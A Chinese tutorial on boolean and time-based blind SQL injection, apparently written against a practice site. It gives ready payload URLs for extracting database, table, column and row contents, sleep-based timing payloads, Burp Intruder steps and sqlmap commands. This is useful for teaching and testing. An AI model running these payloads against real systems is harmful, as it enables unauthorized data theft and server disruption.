一、盲注简介
注入攻击的本质,是把用户输入的数据当做代码执行。
注入攻击的两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据
盲注,就是在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
与盲注相对应的是显错注入,分别为:
union select 联合查询注入
updatexml 报错注入
盲注也分为两种:
(1)布尔盲注:只会根据注入信息返回True和False,没有了之前的报错信息
(2)时间盲注:界面返回值只有True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看Web页面返回的时间差来判断注入的语句是否正确。
二、布尔盲注
#盲注需要掌握的几个函数
length() #返回字符串的长度
substr() #截取字符串,语法substr(str,start,len),例如substr('abc',1,1)截取a
ascii() #返回字符的ascii码,将字符变为数字
sleep() #将程序延时一段时间,如果使用网站的访问量过大,且全都延时100秒,数据库的资源被大量占用,服务器会崩溃
if(expr1,expr2,expr3) #判断语句,如果第一个语句正确就执行第二个语句,否则执行第三个语句
ASCII码只有0-127个字符,常用的有32-127,但是为了严谨,还是所有的ASCII码都跑一遍
#拆解当前数据库名称长度
http://apple.pea.cn/index.php?id=1 and length(database())>1
#利用ASCII码猜解当前数据库名称
http://apple.pea.cn/index.php?id=1 and ascii(substr(database(),1,1))>1
#最好将ascii用括号变为一个整体
http://apple.pea.cn/index.php?id=1 and (ascii(substr(database(),1,1)))>1
#猜解表名,子查询建议加括号
http://apple.pea.cn/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1
#猜解字段名
http://apple.pea.cn/index.php?id=1 and (ascii(substr((select column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 0,1),1,1)))>1
#猜解内容
http://apple.pea.cn/index.php?id=1 and (ascii(substr((select apple1 from admin limit 0,1),1,1)))>1
使用Burp进行布尔盲注
首先对网页进行抓包,对ASCII码变量进行替换,
http://apple.pea.cn/index.php?id=1 and ascii(substr(database(),1,1))>1
第一个字符的ASCII码为107,即小写字母k
还可以同时替换字符的位置以及ASCII码,将Attack type设置为Cluster bomb,在Payload set中有1、2两个选项,先设置的变量为1,后设置的为2。
1-107-k
2-97-a
3-110-n
4-119-w
5-111-o
6-108-l
7-111-o
8-110-n
9-103-g
10-120-x
11-105-i
12-97-a
使用sqlmap进行布尔盲注
#直接进行注入即可
python sqlmap.py -u http://apple.pea.cn/index.php?id=1
#跑库名
python sqlmap.py -u http://apple.pea.cn/index.php?id=1 --dbs
二、延时注入
界面返回值只有True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看Web页面返回的时间差来判断注入的语句是否正确。
延时盲注和布尔盲注其实没有太大的区别,只不过布尔盲注依靠页面是否正常判断,延时盲注依靠是否延时判断,在操作上也差不多,只不过延时盲注多一个if()判断。
if(expr1,expr2,expr3) #判断语句,如果第一个语句正确,就执行第二个语句,否则执行第三个语句
#延时盲注一般不使用大于小于,因为延时过长
#双引号闭合
#常见的闭合有单引号、双引号、单引号括号、双引号括号
http://apple.pea.cn/index.php?id=1" and if( ascii(substr(database(),1,1))=100,sleep(100),1) -- qwe
使用Burp进行延时盲注
对网页进行抓包,替换ASCII码变量,进行延时盲注,如果有一个数值始终跑步下来,证明那个字符就是我们所需要的
延时的字符为107,即小写字母k
使用sqlmap进行延时盲注
#sqlmap有偏好,喜欢将漏洞跑为延时盲注
python sqlmap.py -u http://apple.pea.cn/index.php?id=1
#提高等级
python sqlmap.py -u http://apple.pea.cn/index.php?id=1 --level 3 --risk 2
#帮助其闭合,例如原先为双引号闭合
python sqlmap.py -u http://apple.pea.cn/index.php?id=1"
#三板斧
python sqlmap.py -u http://apple.pea.cn/index.php?id=1" --level 3 --risk 2